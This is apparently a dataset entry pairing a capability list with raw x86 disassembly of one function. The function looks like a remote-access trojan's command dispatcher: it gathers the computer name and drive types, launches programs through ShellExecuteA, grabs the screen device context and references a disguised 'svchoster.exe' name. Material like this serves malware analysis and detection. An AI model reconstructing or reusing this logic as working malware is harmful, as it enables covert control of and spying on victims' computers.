Function at 0x40967c
Capabilities:
Copy file
Create process on windows
Get disk information
Get hostname
Open clipboard
Shutdown system
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff620
push ebx
push esi
push edi
mov dword [ebp - 0x434], edx
mov dword [ebp - 0x430], eax
mov eax, 0x49cef8
call fcn.0048715c
mov word [ebp - 0x41c], 8
lea edx, [ebp - 0xc]
push edx
call fcn.00405458
pop ecx
add dword [ebp - 0x410], 2
mov word [ebp - 0x41c], 0x14
mov word [ebp - 0x41c], 0x20
lea eax, [ebp - 0x10]
call fcn.00401800
mov edx, eax
inc dword [ebp - 0x410]
mov eax, dword [ebp - 0x434]
call fcn.00426570
lea edx, [ebp - 0x10]
push edx
lea ecx, [ebp - 0xc]
push ecx
call fcn.00401a80
add esp, 8
test al, al
sete al
and eax, 1
push eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00496390
pop ecx
test cl, cl
je 0x409741
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x42c]
mov dword fs:[0], ecx
jmp 0x40e781
mov al, byte [ebp - 0xc]
sub al, 0x80
je 0x409761
sub al, 0x1c
je 0x409c18
sub al, 0x22
je 0x40979a
sub al, 9
je 0x409923
jmp 0x409da9
mov edx, dword [ebp - 0x430]
xor ecx, ecx
mov dword [edx + 0x3fc], ecx
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x42c]
mov dword fs:[0], ecx
jmp 0x40e781
mov word [ebp - 0x41c], 0x2c
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2c]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 0x430]
add eax, 0x3b4
call fcn.004963c0
dec dword [ebp - 0x410]
lea eax, [ebp - 0x2c]
mov edx, 2
call fcn.00496390
push 0x15
push 0
lea ecx, [ebp - 0x4e8]
push ecx
call fcn.00486c5c
add esp, 0xc
push 0x14
mov eax, dword [ebp - 0x430]
add eax, 0x3b4
call fcn.00401de4
push eax
lea edx, [ebp - 0x4e8]
push edx
call fcn.00486fcc
add esp, 0xc
mov word [ebp - 0x41c], 0x38
lea ecx, [ebp - 0x28]
push ecx
call fcn.00411fe0
pop ecx
inc dword [ebp - 0x410]
mov word [ebp - 0x41c], 0x44
push 2
push 0x40000000
mov word [ebp - 0x41c], 0x50
lea eax, [ebp - 0x34]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, str.sname
lea eax, [ebp - 0x30]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 0x430]
add eax, 0x3d0
pop ecx
call fcn.004963e8
lea eax, [ebp - 0x34]
call fcn.00401de4
push eax
lea edx, [ebp - 0x28]
push edx
call fcn.0041207c
add esp, 0x10
dec dword [ebp - 0x410]
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x30]
mov edx, 2
call fcn.00496390
push 0xf
lea ecx, [ebp - 0x4e8]
push ecx
lea eax, [ebp - 0x28]
push eax
call fcn.00412010
add esp, 0xc
lea edx, [ebp - 0x28]
push edx
call fcn.004120d0
pop ecx
dec dword [ebp - 0x410]
push 2
lea ecx, [ebp - 0x28]
push ecx
call fcn.00412058
add esp, 8
mov word [ebp - 0x41c], 0x14
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x42c]
mov dword fs:[0], ecx
jmp 0x40e781
mov eax, dword [ebp - 0x430]
cmp byte [eax + 0x363], 0
jne 0x40995d
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x42c]
mov dword fs:[0], ecx
jmp 0x40e781
mov word [ebp - 0x41c], 0x68
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x38]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
mov word [ebp - 0x41c], 0x5c
mov word [ebp - 0x41c], 0x74
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x3c]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
mov word [ebp - 0x41c], 0x5c
mov word [ebp - 0x41c], 0x80
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x40]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x40]
mov eax, dword [eax]
call fcn.0043989c
test eax, eax
setne dl
and edx, 1
mov byte [ebp - 0x435], dl
dec dword [ebp - 0x410]
lea eax, [ebp - 0x40]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x5c
mov ecx, dword [ebp - 0x430]
cmp dword [ecx + 0x3a0], 0
jne 0x409a5c
push 0x50
call fcn.00485e3c
pop ecx
mov dword [ebp - 0x44], eax
test eax, eax
je 0x409a4d
mov word [ebp - 0x41c], 0x98
push dword [ebp - 0x44]
call fcn.004129e8
pop ecx
mov word [ebp - 0x41c], 0x8c
mov edx, dword [ebp - 0x44]
jmp 0x409a50
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x430]
mov dword [eax + 0x3a0], edx
mov word [ebp - 0x41c], 0xa4
mov edx, str.MAGICLINK
lea eax, [ebp - 0x48]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x48]
lea eax, [ebp - 0x3c]
call fcn.00496474
push eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.00496390
pop ecx
test cl, cl
je 0x409b1b
mov byte [ebp - 0x435], 1
mov word [ebp - 0x41c], 0xb0
lea eax, [ebp - 0x50]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, str.svchoster.exe
lea eax, [ebp - 0x4c]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 0x430]
add eax, 0x3c4
pop ecx
call fcn.004963e8
lea edx, [ebp - 0x50]
lea eax, [ebp - 0x3c]
call fcn.004963c0
dec dword [ebp - 0x410]
lea eax, [ebp - 0x50]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x4c]
mov edx, 2
call fcn.00496390
mov eax, dword [ebp - 0x3c]
call fcn.00496160
cmp byte [ebp - 0x435], 0
je 0x409b3f
push 0x40500c
mov edx, dword [ebp - 0x430]
push dword [edx + 0x3a0]
call fcn.00412e6c
add esp, 8
jmp 0x409b55
push 0
mov ecx, dword [ebp - 0x430]
push dword [ecx + 0x3a0]
call fcn.00412e6c
add esp, 8
mov eax, dword [ebp - 0x430]
push dword [eax + 0x3a0]
call fcn.0040e788
pop ecx
test al, al
je 0x409bbc
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3c]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x38]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x42c]
mov dword fs:[0], ecx
jmp 0x40e781
push 0
lea eax, [ebp - 0x3c]
call fcn.00401de4
push eax
lea eax, [ebp - 0x38]
call fcn.00401de4
push eax
mov edx, dword [ebp - 0x430]
push dword [edx + 0x3a0]
call fcn.00412b28
add esp, 0x10
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3c]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x38]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x14
jmp 0x409da9
mov word [ebp - 0x41c], 0xbc
lea ecx, [ebp - 0x1c]
push ecx
call fcn.00405458
pop ecx
add dword [ebp - 0x410], 2
mov word [ebp - 0x41c], 0xc8
mov dword [ebp - 0x43c], 0xff
lea eax, [ebp - 0x43c]
push eax
lea edx, [ebp - 0x5e8]
push edx
call sub.KERNEL32.DLL_GetComputerNameA
mov byte [ebp - 0x1c], 0x9c
mov word [ebp - 0x41c], 0xd4
lea edx, [ebp - 0x5e8]
lea eax, [ebp - 0x54]
call fcn.004961ec
inc dword [ebp - 0x410]
lea ecx, [ebp - 0x54]
push ecx
lea eax, [ebp - 0x1c]
push eax
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x54]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0xe0
lea eax, [ebp - 0x58]
call fcn.00401800
mov edx, eax
inc dword [ebp - 0x410]
mov eax, dword [ebp - 0x430]
add eax, 0x3f0
call fcn.00497228
lea edx, [ebp - 0x58]
push edx
lea ecx, [ebp - 0x1c]
push ecx
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x58]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0xec
lea eax, [ebp - 0x5c]
call fcn.00401800
mov edx, eax
inc dword [ebp - 0x410]
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x3f8]
call fcn.00409070
lea edx, [ebp - 0x5c]
push edx
lea ecx, [ebp - 0x1c]
push ecx
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x5c]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x430]
add ecx, 0x3b4
push ecx
lea eax, [ebp - 0x1c]
push eax
call fcn.00407ab8
add esp, 8
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x430]
call fcn.00405a20
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x42c]
mov dword fs:[0], ecx
jmp 0x40e781
cmp byte [ebp - 0xc], 0xb5
jne 0x409f09
mov word [ebp - 0x41c], 0xf8
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x60]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea edx, [ebp - 0x60]
mov eax, dword [ebp - 0x430]
add eax, 0x3c0
call fcn.00496474
push eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x60]
mov edx, 2
call fcn.00496390
pop ecx
test cl, cl
je 0x409e48
mov eax, dword [ebp - 0x430]
mov byte [eax + 0x365], 1
mov dl, 0xb7
mov eax, dword [ebp - 0x430]
call fcn.00405a84
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x42c]
mov dword fs:[0], ecx
jmp 0x40e781
mov word [ebp - 0x41c], 0x104
lea eax, [ebp - 0x6c]
push eax
call fcn.00405458
pop ecx
add dword [ebp - 0x410], 2
mov word [ebp - 0x41c], 0x110
mov byte [ebp - 0x6c], 0x95
mov word [ebp - 0x41c], 0x11c
mov edx, 0x49a0ce
lea eax, [ebp - 0x70]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x70]
push edx
lea ecx, [ebp - 0x6c]
push ecx
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x70]
mov edx, 2
call fcn.00496390
lea edx, [ebp - 0x6c]
mov eax, dword [ebp - 0x430]
call fcn.00405a20
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0x68]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x42c]
mov dword fs:[0], ecx
jmp 0x40e781
mov eax, dword [ebp - 0x430]
cmp byte [eax + 0x365], 0
jne 0x409f9c
mov word [ebp - 0x41c], 0x128
mov edx, 0x49a0d9
lea eax, [ebp - 0x74]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x74]
mov eax, dword [ebp - 0x430]
add eax, 0x3c0
call fcn.0049648c
push eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x74]
mov edx, 2
call fcn.00496390
pop ecx
test cl, cl
je 0x409f9c
mov dl, 0xb5
mov eax, dword [ebp - 0x430]
call fcn.00405a84
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x42c]
mov dword fs:[0], ecx
jmp 0x40e781
mov eax, dword [ebp - 0x430]
mov byte [eax + 0x365], 1
movsx edx, byte [ebp - 0xc]
add edx, 0x7f
cmp edx, 0x45
ja case.0x409fb9.108
jmp dword [edx*4 + 0x409fc0]
mov ecx, dword [ebp - 0x430]
xor eax, eax
mov dword [ecx + 0x35c], eax
mov word [ebp - 0x41c], 0x134
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x78]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea edx, [ebp - 0x78]
mov edx, dword [edx]
mov cl, 1
mov eax, dword [ebp - 0x430]
call fcn.00408c9c
dec dword [ebp - 0x410]
lea eax, [ebp - 0x78]
mov edx, 2
call fcn.00496390
jmp case.0x409fb9.108
mov ecx, dword [ebp - 0x430]
xor eax, eax
mov dword [ecx + 0x35c], eax
mov word [ebp - 0x41c], 0x140
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x7c]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea edx, [ebp - 0x7c]
mov edx, dword [edx]
xor ecx, ecx
mov eax, dword [ebp - 0x430]
call fcn.00408c9c
dec dword [ebp - 0x410]
lea eax, [ebp - 0x7c]
mov edx, 2
call fcn.00496390
jmp case.0x409fb9.108
mov word [ebp - 0x41c], 0x14c
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x80]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea edx, [ebp - 0x80]
mov edx, dword [edx]
xor ecx, ecx
mov eax, dword [ebp - 0x430]
call fcn.00408c9c
dec dword [ebp - 0x410]
lea eax, [ebp - 0x80]
mov edx, 2
call fcn.00496390
jmp case.0x409fb9.108
mov word [ebp - 0x41c], 0x164
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x90]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x90]
mov eax, dword [eax]
call fcn.0043989c
mov dword [ebp - 0x440], eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x90]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x158
mov word [ebp - 0x41c], 0x170
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x84]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
mov word [ebp - 0x41c], 0x158
mov word [ebp - 0x41c], 0x17c
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x88]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
mov word [ebp - 0x41c], 0x158
cmp dword [ebp - 0x440], 0
je 0x40a2a7
mov edx, 5
jmp 0x40a2a9
xor edx, edx
mov dword [ebp - 0x444], edx
mov word [ebp - 0x41c], 0x188
mov edx, 0x49a0da
lea eax, [ebp - 0x94]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x94]
lea eax, [ebp - 0x84]
call fcn.00496548
mov dword [ebp - 0x448], eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x94]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x158
mov word [ebp - 0x41c], 0x194
mov edx, 0x49a0dc
lea eax, [ebp - 0x8c]
call fcn.004961ec
inc dword [ebp - 0x410]
mov word [ebp - 0x41c], 0x158
cmp dword [ebp - 0x448], 1
jl 0x40a383
mov word [ebp - 0x41c], 0x1a0
lea eax, [ebp - 0x98]
call fcn.00401800
mov edx, eax
inc dword [ebp - 0x410]
mov eax, dword [ebp - 0x84]
call fcn.00439b9c
lea edx, [ebp - 0x98]
lea eax, [ebp - 0x8c]
call fcn.004963c0
dec dword [ebp - 0x410]
lea eax, [ebp - 0x98]
mov edx, 2
call fcn.00496390
push dword [ebp - 0x444]
lea eax, [ebp - 0x8c]
call fcn.00401de4
push eax
lea eax, [ebp - 0x88]
call fcn.00401de4
push eax
lea eax, [ebp - 0x84]
call fcn.00401de4
push eax
push str.open
mov eax, dword [ebp - 0x430]
call fcn.00480b84
push eax
call sub.SHELL32.DLL_ShellExecuteA
dec dword [ebp - 0x410]
lea eax, [ebp - 0x8c]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x88]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x84]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
mov ecx, dword [ebp - 0x430]
xor eax, eax
mov dword [ecx + 0x35c], eax
mov word [ebp - 0x41c], 0x1ac
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x9c]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x9c]
mov eax, dword [eax]
call fcn.00439d9c
dec dword [ebp - 0x410]
lea eax, [ebp - 0x9c]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x430]
mov edx, dword [ecx + 0x3c8]
xor ecx, ecx
mov eax, dword [ebp - 0x430]
call fcn.00408c9c
jmp case.0x409fb9.108
mov eax, dword [ebp - 0x430]
xor edx, edx
mov dword [eax + 0x35c], edx
mov word [ebp - 0x41c], 0x1c4
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0xa0]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
mov word [ebp - 0x41c], 0x1b8
mov word [ebp - 0x41c], 0x1d0
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0xa4]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea edx, [ebp - 0xa4]
push dword [edx]
mov cl, 4
mov edx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x430]
call fcn.004090e0
dec dword [ebp - 0x410]
lea eax, [ebp - 0xa4]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x430]
mov edx, dword [ecx + 0x3c8]
xor ecx, ecx
mov eax, dword [ebp - 0x430]
call fcn.00408c9c
dec dword [ebp - 0x410]
lea eax, [ebp - 0xa0]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
mov word [ebp - 0x41c], 0x1dc
lea ecx, [ebp - 0xb0]
push ecx
call fcn.00405458
pop ecx
add dword [ebp - 0x410], 2
mov word [ebp - 0x41c], 0x1e8
mov byte [ebp - 0xb0], 0x85
mov word [ebp - 0x41c], 0x1f4
mov eax, dword [ebp - 0x430]
add eax, 0x378
push eax
call fcn.0041598c
pop ecx
mov edx, eax
lea eax, [ebp - 0xb4]
call fcn.004961ec
inc dword [ebp - 0x410]
mov word [ebp - 0x41c], 0x1e8
lea edx, [ebp - 0xb4]
push edx
lea ecx, [ebp - 0xb0]
push ecx
call fcn.00407ab8
add esp, 8
mov dword [ebp - 0x44c], 2
jmp 0x40a7f1
mov word [ebp - 0x41c], 0x200
lea eax, [ebp - 0xc0]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, 0x49a0e2
lea eax, [ebp - 0xbc]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0xbc]
push edx
lea eax, [ebp - 0xb4]
mov edx, dword [ebp - 0x44c]
call fcn.00401a50
mov dl, byte [eax]
lea eax, [ebp - 0xb8]
call fcn.004962bc
inc dword [ebp - 0x410]
pop edx
pop ecx
call fcn.004963e8
lea eax, [ebp - 0xc0]
call fcn.00401de4
push eax
call sub.KERNEL32.DLL_GetDriveTypeA
push eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0xc0]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0xbc]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0xb8]
mov edx, 2
call fcn.00496390
pop ecx
sub ecx, 2
je 0x40a6b3
sub ecx, 2
je 0x40a703
dec ecx
je 0x40a753
jmp 0x40a7a0
mov word [ebp - 0x41c], 0x20c
mov edx, 0x49a0e4
lea eax, [ebp - 0xc4]
call fcn.004961ec
inc dword [ebp - 0x410]
lea ecx, [ebp - 0xc4]
push ecx
lea eax, [ebp - 0xb0]
push eax
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0xc4]
mov edx, 2
call fcn.00496390
jmp 0x40a7eb
mov word [ebp - 0x41c], 0x218
mov edx, 0x49a0e9
lea eax, [ebp - 0xc8]
call fcn.004961ec
inc dword [ebp - 0x410]
lea ecx, [ebp - 0xc8]
push ecx
lea eax, [ebp - 0xb0]
push eax
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0xc8]
mov edx, 2
call fcn.00496390
jmp 0x40a7eb
mov word [ebp - 0x41c], 0x224
mov edx, str.CDROM
lea eax, [ebp - 0xcc]
call fcn.004961ec
inc dword [ebp - 0x410]
lea ecx, [ebp - 0xcc]
push ecx
lea eax, [ebp - 0xb0]
push eax
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0xcc]
mov edx, 2
call fcn.00496390
jmp 0x40a7eb
mov word [ebp - 0x41c], 0x230
mov edx, 0x49a0f4
lea eax, [ebp - 0xd0]
call fcn.004961ec
inc dword [ebp - 0x410]
lea ecx, [ebp - 0xd0]
push ecx
lea eax, [ebp - 0xb0]
push eax
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0xd0]
mov edx, 2
call fcn.00496390
inc dword [ebp - 0x44c]
lea eax, [ebp - 0xb4]
call fcn.00401a2c
cmp eax, dword [ebp - 0x44c]
jge 0x40a5e5
lea edx, [ebp - 0xb0]
mov eax, dword [ebp - 0x430]
call fcn.00405a20
dec dword [ebp - 0x410]
lea eax, [ebp - 0xb4]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0xac]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
mov ecx, dword [ebp - 0x430]
xor eax, eax
mov dword [ecx + 0x35c], eax
mov word [ebp - 0x41c], 0x23c
lea eax, [ebp - 0xd4]
call fcn.00401800
inc dword [ebp - 0x410]
mov word [ebp - 0x41c], 0x248
jmp 0x40a8d6
mov word [ebp - 0x41c], 0x260
mov edx, 0x499e1e
lea eax, [ebp - 0xe0]
call fcn.004961ec
inc dword [ebp - 0x410]
push dword [eax]
mov cl, 3
mov edx, dword [ebp - 0xd4]
mov eax, dword [ebp - 0x430]
call fcn.004090e0
dec dword [ebp - 0x410]
lea eax, [ebp - 0xe0]
mov edx, 2
call fcn.00496390
mov edx, 0x49a0f5
lea eax, [ebp - 0xdc]
call fcn.004961ec
inc dword [ebp - 0x410]
lea ecx, [ebp - 0xdc]
push ecx
mov word [ebp - 0x41c], 0x254
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0xd8]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea edx, [ebp - 0xd8]
lea eax, [ebp - 0xd4]
call fcn.004963c0
pop edx
call fcn.0049648c
test al, al
setne cl
and ecx, 1
push ecx
dec dword [ebp - 0x410]
lea eax, [ebp - 0xdc]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0xd8]
mov edx, 2
call fcn.00496390
pop ecx
test ecx, ecx
jne 0x40a88c
mov eax, dword [ebp - 0x430]
mov edx, dword [eax + 0x3c8]
xor ecx, ecx
mov eax, dword [ebp - 0x430]
call fcn.00408c9c
dec dword [ebp - 0x410]
lea eax, [ebp - 0xd4]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
mov ecx, dword [ebp - 0x430]
xor eax, eax
mov dword [ecx + 0x35c], eax
mov word [ebp - 0x41c], 0x278
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0xe4]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
mov word [ebp - 0x41c], 0x26c
mov word [ebp - 0x41c], 0x284
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0xe8]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea edx, [ebp - 0xe8]
push dword [edx]
mov cl, 2
mov edx, dword [ebp - 0xe4]
mov eax, dword [ebp - 0x430]
call fcn.004090e0
dec dword [ebp - 0x410]
lea eax, [ebp - 0xe8]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x430]
mov edx, dword [ecx + 0x3c8]
xor ecx, ecx
mov eax, dword [ebp - 0x430]
call fcn.00408c9c
dec dword [ebp - 0x410]
lea eax, [ebp - 0xe4]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
mov ecx, dword [ebp - 0x430]
mov byte [ecx + 0x370], 1
mov eax, dword [ebp - 0x430]
cmp dword [eax + 0x3dc], 0
jne 0x40aacd
mov dl, 1
mov eax, dword [0x45ce9c]
call fcn.0045ed60
mov edx, dword [ebp - 0x430]
mov dword [edx + 0x3dc], eax
push 0
call sub.USER32.DLL_GetDC
mov edx, eax
mov eax, dword [ebp - 0x430]
mov eax, dword [eax + 0x3dc]
call fcn.00496148
mov edx, dword [ebp - 0x430]
cmp dword [edx + 0x3e0], 0
jne 0x40aaf4
mov dl, 1
mov eax, dword [0x45d498]
call fcn.00463094
mov ecx, dword [ebp - 0x430]
mov dword [ecx + 0x3e0], eax
cmp byte [ebp - 0xc], 0xa1
jne 0x40ad35
mov eax, dword [ebp - 0x430]
cmp dword [eax + 0x32c], 0
jne 0x40ab7a
xor ecx, ecx
mov dl, 1
mov eax, dword [0x49fc28]
call fcn.00414d48
mov edx, dword [ebp - 0x430]
mov dword [edx + 0x32c], eax
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x32c]
mov edx, dword [eax + 0x98]
mov dword [edx + 0x24], 0x409240
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x32c]
mov dword [ebp - 0x454], 0x40ec54
mov edx, dword [ebp - 0x430]
mov dword [ebp - 0x450], edx
mov ecx, dword [ebp - 0x454]
mov dword [eax + 0x88], ecx
mov ecx, dword [ebp - 0x450]
mov dword [eax + 0x8c], ecx
mov eax, dword [ebp - 0x430]
mov edx, dword [eax + 0x32c]
mov ecx, dword [edx + 0x98]
mov eax, dword [ebp - 0x430]
mov dword [eax + 0x340], ecx
mov edx, dword [ebp - 0x430]
mov eax, dword [edx + 0x32c]
xor edx, edx
call fcn.00427548
mov word [ebp - 0x41c], 0x290
mov ecx, dword [ebp - 0x430]
mov edx, dword [ecx + 0x2f4]
add edx, 0x3c
lea eax, [ebp - 0x104]
call fcn.00496224
inc dword [ebp - 0x410]
mov edx, dword [eax]
mov eax, dword [ebp - 0x430]
mov eax, dword [eax + 0x32c]
call fcn.00427618
dec dword [ebp - 0x410]
lea eax, [ebp - 0x104]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x32c]
mov edx, 0x1a70
call fcn.00496158
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x32c]
mov dl, 1
call fcn.00427548
mov ecx, dword [ebp - 0x430]
cmp dword [ecx + 0x330], 0
jne 0x40ac89
xor ecx, ecx
mov dl, 1
mov eax, dword [0x49fc28]
call fcn.00414d48
mov edx, dword [ebp - 0x430]
mov dword [edx + 0x330], eax
mov eax, dword [ebp - 0x430]
mov ecx, dword [eax + 0x330]
mov dword [ebp - 0x45c], 0x40ec54
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0x458], eax
mov edx, dword [ebp - 0x45c]
mov dword [ecx + 0x88], edx
mov edx, dword [ebp - 0x458]
mov dword [ecx + 0x8c], edx
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x330]
mov edx, dword [eax + 0x98]
mov ecx, dword [ebp - 0x430]
mov dword [ecx + 0x344], edx
mov eax, dword [ebp - 0x430]
mov eax, dword [eax + 0x330]
xor edx, edx
call fcn.00427548
mov word [ebp - 0x41c], 0x29c
mov ecx, dword [ebp - 0x430]
mov edx, dword [ecx + 0x2f4]
add edx, 0x3c
lea eax, [ebp - 0x108]
call fcn.00496224
inc dword [ebp - 0x410]
mov edx, dword [eax]
mov eax, dword [ebp - 0x430]
mov eax, dword [eax + 0x330]
call fcn.00427618
dec dword [ebp - 0x410]
lea eax, [ebp - 0x108]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x330]
mov edx, 0x1a72
call fcn.00496158
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x330]
mov dl, 1
call fcn.00427548
